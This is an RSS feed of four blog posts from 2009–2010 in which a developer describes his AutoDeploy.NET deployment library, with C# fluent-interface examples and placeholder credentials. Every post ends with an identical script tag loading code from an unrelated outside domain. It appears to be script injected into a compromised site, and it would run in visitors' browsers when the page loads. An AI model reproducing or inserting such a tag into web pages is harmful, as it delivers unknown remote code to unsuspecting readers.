<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; autodeploy</title>
	<atom:link href="http://eric.polerecky.com/archives/category/autodeploy/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>AutoDeploy.NET to GitHub</title>
		<link>http://eric.polerecky.com/archives/autodeploy-net-to-github/</link>
		<comments>http://eric.polerecky.com/archives/autodeploy-net-to-github/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 15:15:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[AutoDeploy.NET]]></category>
		<category><![CDATA[GitHub]]></category>
		<category><![CDATA[MEF]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[autodeploy]]></category>
		<category><![CDATA[fluent interface]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/autodeploy-net-to-github/</guid>
		<description><![CDATA[<br/>First; When I pushed to GitHub I decided to rename the project to AutoDeploy.NET. 
In the hopes of keeping my sanity and in the context of working in an organization that strictly follows a 50+ page “release management handbook” I started working on AutoDeploy.NET; a deployment automation tool. 
As with all my personal projects I


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>First; When I pushed to <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">GitHub</a> I decided to rename the project to <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a>. </p>
<p>In the hopes of keeping my sanity and in the context of working in an organization that strictly follows a 50+ page “release management handbook” I started working on <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a>; a deployment automation tool. </p>
<p>As with all my personal projects I took an academic approach to the design and implementation. Instead of building an entire application I created a class library (dll) and used a few 3rd party libraries that I was either unfamiliar.</p>
<h4>Class Library</h4>
<p>My thought here is that by just creating the class library I would have a chance to create a fluent interface and if I did that well enough, creating a UI would be a trivial task. I have not hit a brick wall with this decision but messaging and logging might soon bite me in the…end.</p>
<h4>Sharp SVN</h4>
<p><a href="http://sharpsvn.open.collab.net/" target="_blank">SharpSvn</a> is a binding of the Subversion Client API for .Net 2.0 applications contained within a set of xcopy-deployable dll&#8217;s</p>
<p>Working with source control <strong>should</strong> be part of every deployment, build process, or continuous integration. I use SVN for my source control and so did organization. As I, along with what seems like the rest of the world, move to Git I might find time to write a Git service for <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a></p>
<h4>Html Agility Pack</h4>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://www.codeplex.com/htmlagilitypack" target="_blank">Html Agility Pack</a> is an agile HTML parser that builds a read/write DOM and supports plain XPATH or XSLT (you actually don&#8217;t HAVE to understand XPATH nor XSLT to use it, don&#8217;t worry&#8230;). It is a .NET code library that allows you to parse &quot;out of the web&quot; HTML files. The parser is very tolerant with &quot;real world&quot; malformed HTML. The object model is very similar to what proposes System.Xml, but for HTML documents (or streams).</span></p>
<p>Instead of using Sharp SVN or simple the .NET webclient I used the agility pack to parse the html that is returned when browsing a SVN repo. This is done to monitor the repo for new tags and kick off deployments based on the tag convention x.x.x. </p>
<p>The use is purely academic and limited in scope. It could easily be removed in order to cut-down on the number of 3rd party libraries required.</p>
<h4>MEF</h4>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://mef.codeplex.com/" target="_blank">Managed Extensibility Framework (MEF)</a> is a new library in .NET that enables greater reuse of applications and components. Using MEF, .NET applications can make the shift from being statically compiled to dynamically composed. If you are building extensible applications, extensible frameworks and application extensions, then MEF is for you.</span></p>
<p>Extensibility! The decision to use MEF at such an early stage was purely academic but the result is perfect. I only wanted to code for the common scenarios. </p>
<p>In the environment I worked the process was very manual with SharePoint forms being touted as progress…I planed on writing a class library that implemented ICustomTask and called WaitN to fill out the endless, mind-numbing, pointless, wasteful, costly, wow….sorry..off track.</p>
<h4>Unity</h4>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://www.codeplex.com/unity/" target="_blank">Unity Application Block (Unity)</a> is a lightweight extensible dependency injection container with support for constructor, property, and method call injection.</span></p>
<p>I choose unity because I am familiar with it. I should have used <a href="http://ninject.org/" target="_blank">ninject</a> or <a href="http://code.google.com/p/autofac/" target="_blank">autofac</a> or <a href="http://structuremap.sourceforge.net/Default.htm" target="_blank">StructureMap</a> or .. well you get the point. </p>
<h4>Fluent Interface</h4>
<p>A <a href="http://en.wikipedia.org/wiki/Fluent_interface" target="_blank">fluent interface</a> is a way of implementing an object oriented API in a way that aims to provide for more readable code.</p>
<p>It started off as a way to work with the buzz word of the day…but the first time I wrote an <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a> parent application using the fluent interface I was hooked!</p>
<h4>Point In Time</h4>
<p>I made, what I consider, significent progress on <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a> before parting ways with said organization. And while I hope to never ever need such a tool I feel for those solders I left behind. Seriously; we’ve identified many different scenarios where automating one or more of the common deployment tasks would be helpful to any developer. </p>
<p>Logging, Auditing and Messaging are the missing pieces at this time. </p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/autodeploy-net-to-github/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AutoDeploy &#8211; Dogfood</title>
		<link>http://eric.polerecky.com/archives/autodeploy-dogfood/</link>
		<comments>http://eric.polerecky.com/archives/autodeploy-dogfood/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 19:51:37 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[autodeploy]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Academic]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[Deployment]]></category>
		<category><![CDATA[Subversion]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/autodeploy-dogfood/</guid>
		<description><![CDATA[<br/>Its been a very slow road for me and coding the last few weeks. Between constant meetings and having to rebuild my home workstation (beta –&#62; RC), I’m surprised I’ve got anything done.
Current Status
AutoDeploy consists of internal services and a task is simply a container for the service definition and required attributes. the current services


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-net-to-github/' rel='bookmark' title='Permanent Link: AutoDeploy.NET to GitHub'>AutoDeploy.NET to GitHub</a> <small>First; When I pushed to GitHub I decided to rename...</small></li>
<li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>Its been a very slow road for me and coding the last few weeks. Between constant meetings and having to rebuild my home workstation (beta –&gt; RC), I’m surprised I’ve got anything done.</p>
<h4>Current Status</h4>
<p>AutoDeploy consists of internal services and a task is simply a container for the service definition and required attributes. the current services and completion % (total guess…there is no road-map so its pretty hard too tell)</p>
<ol>
<li>ASP.NET Build – 80%</li>
<li>C# Build– 80%</li>
<li>Custom Task (MEF) – 80%</li>
<li>Database Migration – Not Started</li>
<li>Email – 80%</li>
<li>FileCopy – 80%</li>
<li>Folder Monitor – 80%</li>
<li>Ftp – 80%</li>
<li>MS SQL Script – Not Started</li>
<li>Subversion – 90%</li>
<li>Vb Build – 80%</li>
<li>Zip Compress – Not Started</li>
</ol>
<p>Those listed with 80% function but have limited logging. Logging has been my biggest challenge. I want to ensure the logging (status, audit, etc) is available to the host program. AutoDeploy is only a dll and I’m having a hard time finding the best implementation to ensure that messages flow back to the host.</p>
<blockquote><p>Without any more delay I present the current hotness…</p>
</blockquote>
<h4>The fluent interface (take 2)</h4>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>var deployment = <span class="kwrd">new</span> Deployment();</pre>
<pre><span class="lnum">   2:  </span>    deployment</pre>
<pre class="alt"><span class="lnum">   3:  </span>        .Named(<span class="str">&quot;PROJECTNAME&quot;</span>)</pre>
<pre><span class="lnum">   4:  </span>        .AtInterval(1)</pre>
<pre class="alt"><span class="lnum">   5:  </span>        .AddTask(</pre>
<pre><span class="lnum">   6:  </span>            <span class="kwrd">new</span> FluentTask()</pre>
<pre class="alt"><span class="lnum">   7:  </span>            .Type(Task.TaskType.FolderMonitor)</pre>
<pre><span class="lnum">   8:  </span>            .Source(<span class="str">&quot;http://REPO/tags/&quot;</span>)</pre>
<pre class="alt"><span class="lnum">   9:  </span>            .Destination(<span class="str">@&quot;D:\Temp\&quot;)</pre>
<pre><span class="lnum">  10:  </span>            .Authentication()</pre>
<pre class="alt"><span class="lnum">  11:  </span>            .Credential(new NetworkCredential(@&quot;</span>UID<span class="str">&quot;,&quot;</span>PASS<span class="str">&quot;))</pre>
<pre><span class="lnum">  12:  </span>            .Save()</pre>
<pre class="alt"><span class="lnum">  13:  </span>    )</pre>
<pre><span class="lnum">  14:  </span>    .AddTask(</pre>
<pre class="alt"><span class="lnum">  15:  </span>        new FluentTask()</pre>
<pre><span class="lnum">  16:  </span>        .Type(Task.TaskType.AspnetBuild)</pre>
<pre class="alt"><span class="lnum">  17:  </span>        .Save()</pre>
<pre><span class="lnum">  18:  </span>    )</pre>
<pre class="alt"><span class="lnum">  19:  </span>    .AddTask(</pre>
<pre><span class="lnum">  20:  </span>        new FluentTask()</pre>
<pre class="alt"><span class="lnum">  21:  </span>        .Type(Task.TaskType.FileCopy)</pre>
<pre><span class="lnum">  22:  </span>        .Destination(@&quot;</span>\\SERVER_OR_LOCAL\Deployment<span class="str">&quot;)</pre>
<pre class="alt"><span class="lnum">  23:  </span>        .Save()</pre>
<pre><span class="lnum">  24:  </span>    )</pre>
<pre class="alt"><span class="lnum">  25:  </span>    .AddCustomTask(&quot;</span>WaitN&quot;)</pre>
<pre><span class="lnum">  26:  </span>    .Save();</pre>
</div>
<div class="csharpcode">&#160;</div>
<div class="csharpcode">&#160;</div>
<div class="csharpcode">&#160;</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>&#160;</p>
<p><strong>Changes of Note:</strong></p>
<ol>
<li>Source and destination can be omitted and left to convention. In the second task there is no source or destination. The source will be the destination of the pervious task. The destination will be the destination of the pervious task plus the deployment name. </li>
</ol>
<h4>Classic Usage</h4>
<p>&#160;</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>var _deploymentContainer = DeploymentContainer.GetInstance;</pre>
<pre><span class="lnum">   2:  </span>var deployment = <span class="kwrd">new</span> Deployment();</pre>
<pre class="alt"><span class="lnum">   3:  </span>deployment.Name = <span class="str">&quot;PROJECT&quot;</span>;</pre>
<pre><span class="lnum">   4:  </span>deployment.Interval = 5;</pre>
<pre class="alt"><span class="lnum">   5:  </span>&#160;</pre>
<pre><span class="lnum">   6:  </span>var monitorTask = <span class="kwrd">new</span> Task();</pre>
<pre class="alt"><span class="lnum">   7:  </span>monitorTask.Type = Task.TaskType.FolderMonitor;</pre>
<pre><span class="lnum">   8:  </span>monitorTask.Source = <span class="str">&quot;http://subversion/repo/tags/&quot;</span>;</pre>
<pre class="alt"><span class="lnum">   9:  </span>monitorTask.Destination = <span class="str">@&quot;C:\Temp\&quot;;</pre>
<pre><span class="lnum">  10:  </span>monitorTask.Authentication.Credentials _</pre>
<pre class="alt"><span class="lnum">  11:  </span> = new NetworkCredential(@&quot;</span>DOMAIN\PolerckyE<span class="str">&quot;, &quot;</span>PASSWORD<span class="str">&quot;);</pre>
<pre><span class="lnum">  12:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">  13:  </span>deployment.AddTask(monitorTask);</pre>
<pre><span class="lnum">  14:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">  15:  </span>var buildTask = new Task();</pre>
<pre><span class="lnum">  16:  </span>buildTask.Type = Task.TaskType.AspnetBuild;</pre>
<pre class="alt"><span class="lnum">  17:  </span>deployment.AddTask(buildTask);</pre>
<pre><span class="lnum">  18:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">  19:  </span>var copyTask = new Task();</pre>
<pre><span class="lnum">  20:  </span>copyTask.Type = Task.TaskType.FileCopy;</pre>
<pre class="alt"><span class="lnum">  21:  </span>copyTask.Destination = @&quot;</span>\\ServerName\path\<span class="str">&quot;;</pre>
<pre><span class="lnum">  22:  </span>deployment.AddTask(copyTask);</pre>
<pre class="alt"><span class="lnum">  23:  </span>&#160;</pre>
<pre><span class="lnum">  24:  </span>deployment.AddCustomTask(&quot;</span>WaitN&quot;);</pre>
<pre class="alt"><span class="lnum">  25:  </span>&#160;</pre>
<pre><span class="lnum">  26:  </span>_deploymentContainer.AddDeployment(deployment);</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-net-to-github/' rel='bookmark' title='Permanent Link: AutoDeploy.NET to GitHub'>AutoDeploy.NET to GitHub</a> <small>First; When I pushed to GitHub I decided to rename...</small></li>
<li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/autodeploy-dogfood/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AutoDeploy Rework</title>
		<link>http://eric.polerecky.com/archives/autodeploy-rework/</link>
		<comments>http://eric.polerecky.com/archives/autodeploy-rework/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 15:35:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[autodeploy]]></category>
		<category><![CDATA[c#]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/autodeploy-rework/</guid>
		<description><![CDATA[<br/>Tonight I reworked in workflow, persistence, mapping, and entities in AutoDeploy. The fire draft consisted of a single entity type with long descriptive janky attributes. The new core goes something like this
Deployment has a list of tasks. Tasks can be have a task type. 
Example 1 Creating a new deployment:

   1:  var


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
<li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-net-to-github/' rel='bookmark' title='Permanent Link: AutoDeploy.NET to GitHub'>AutoDeploy.NET to GitHub</a> <small>First; When I pushed to GitHub I decided to rename...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>Tonight I reworked in workflow, persistence, mapping, and entities in AutoDeploy. The fire draft consisted of a single entity type with long descriptive janky attributes. The new core goes something like this</p>
<p>Deployment has a list of tasks. Tasks can be have a task type. </p>
<h6>Example 1 Creating a new deployment:</h6>
<div class="csharpcode">
<pre><span class="lnum">   1:  </span>var dep = <span class="kwrd">new</span> Deployment()</pre>
<pre><span class="lnum">   2:  </span>.AddTask(</pre>
<pre><span class="lnum">   3:  </span>   <span class="kwrd">new</span> FluentTask()</pre>
<pre><span class="lnum">   4:  </span>     .Source(<span class="str">&quot;&quot;</span>)</pre>
<pre><span class="lnum">   5:  </span>     .Destination(<span class="str">&quot;&quot;</span>)</pre>
<pre><span class="lnum">   6:  </span>     .Type(Task.TaskType.Subversion)</pre>
<pre><span class="lnum">   7:  </span>     .Save())</pre>
<pre><span class="lnum">   8:  </span>.AddTask(</pre>
<pre><span class="lnum">   9:  </span>  <span class="kwrd">new</span> FluentTask()</pre>
<pre><span class="lnum">  10:  </span>     .Source(<span class="str">&quot;&quot;</span>)</pre>
<pre><span class="lnum">  11:  </span>     .Destination(<span class="str">&quot;&quot;</span>)</pre>
<pre><span class="lnum">  12:  </span>     .Type(Task.TaskType.AspnetBuild)</pre>
<pre><span class="lnum">  13:  </span>     .Save()</pre>
<pre><span class="lnum">  14:  </span>);</pre>
</div>
<div class="csharpcode">&#160;</div>
<div class="csharpcode">Deployments and Tasks can be scheduled or interval execution. I’m thinking right now that Task level interval settings will override deployment settings. This will allow you to schedule an entire deployment at X with a single task happening outside of that window. For example; you might want your working copy updated every 10min but have trunk moved to the dev server, an tag created and an email sent off at the end of the day.</div>
<div class="csharpcode">&#160;</div>
<div class="csharpcode"></div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
<li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-net-to-github/' rel='bookmark' title='Permanent Link: AutoDeploy.NET to GitHub'>AutoDeploy.NET to GitHub</a> <small>First; When I pushed to GitHub I decided to rename...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/autodeploy-rework/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing: AutoDeploy</title>
		<link>http://eric.polerecky.com/archives/introducing-autodeploy/</link>
		<comments>http://eric.polerecky.com/archives/introducing-autodeploy/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 15:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[autodeploy]]></category>
		<category><![CDATA[fluent interface]]></category>
		<category><![CDATA[ci]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=375</guid>
		<description><![CDATA[<br/>A class library to help automate simple deployment tasks.
Warning: pre-alpha.
AutoDeploy has 2 main components; deployment objects and a deployment controller. A deployment object holds n+1 deployment tasks. The deployment controller is responsible for executing scheduled, interval and on demand deployment tasks.
AutoDeploy is complete enough for me to start dog fooding it this week. I’ll have


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/autodeploy-net-to-github/' rel='bookmark' title='Permanent Link: AutoDeploy.NET to GitHub'>AutoDeploy.NET to GitHub</a> <small>First; When I pushed to GitHub I decided to rename...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>A class library to help automate simple deployment tasks.</p>
<h4>Warning: pre-alpha.</h4>
<p>AutoDeploy has 2 main components; deployment objects and a deployment controller. A deployment object holds n+1 deployment tasks. The deployment controller is responsible for executing scheduled, interval and on demand deployment tasks.</p>
<p>AutoDeploy is complete enough for me to start dog fooding it this week. I’ll have a road-map soon after.</p>
<h5>Features</h5>
<ol>
<li>Deployment Controller </li>
<li>Scheduled Deployments </li>
<li>Interval Deployments </li>
<li>SVN Checkout </li>
<li>SVN Commit </li>
<li>ASP.NET Build </li>
</ol>
<h6>Example 1: Fluent Interface, SVN Checkout, Interval   <br /></h6>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>var deploymentController = AutoDeploy.Controllers.DeploymentController.GetInstance;</pre>
<pre><span class="lnum">   2:  </span><span class="kwrd">new</span> AutoDeploy.Mappings.FluentMapping().Named(<span class="str">&quot;TestMapping&quot;</span>)</pre>
<pre class="alt"><span class="lnum">   3:  </span>.FromSvnHttpRepositoryUrl(<span class="str">&quot;URL&quot;</span>)</pre>
<pre><span class="lnum">   4:  </span>.UsingSvnCredentials(<span class="kwrd">new</span> System.Net.NetworkCredential(<span class="str">&quot;UID&quot;</span>, <span class="str">&quot;PASS&quot;</span>))</pre>
<pre class="alt"><span class="lnum">   5:  </span>.SvnCheckoutToDirectory(<span class="str">&quot;C:/Temp&quot;</span>)</pre>
<pre><span class="lnum">   6:  </span>.AtTime(6)</pre>
<pre class="alt"><span class="lnum">   7:  </span>.Save();</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p>First, or last, or never..we create a controller. The controller will check every minute for interval and scheduled deployments. In this example we checkout every day @ 6am.</p>
<h6>Example 1: Fluent Interface, Compile, Publish, One Time</h6>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">new</span> AutoDeploy.Mappings.FluentMapping()</pre>
<pre><span class="lnum">   2:  </span>.SvnCheckoutToDirectory(<span class="str">&quot;C:/Temp&quot;</span>)</pre>
<pre class="alt"><span class="lnum">   3:  </span>.BuildAndOutputToDirectory(<span class="str">&quot;C:/TempCompiled&quot;</span>)</pre>
<pre><span class="lnum">   4:  </span>.Execute();</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>shhh..I know the source directory name is horrible…</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/autodeploy-net-to-github/' rel='bookmark' title='Permanent Link: AutoDeploy.NET to GitHub'>AutoDeploy.NET to GitHub</a> <small>First; When I pushed to GitHub I decided to rename...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/introducing-autodeploy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
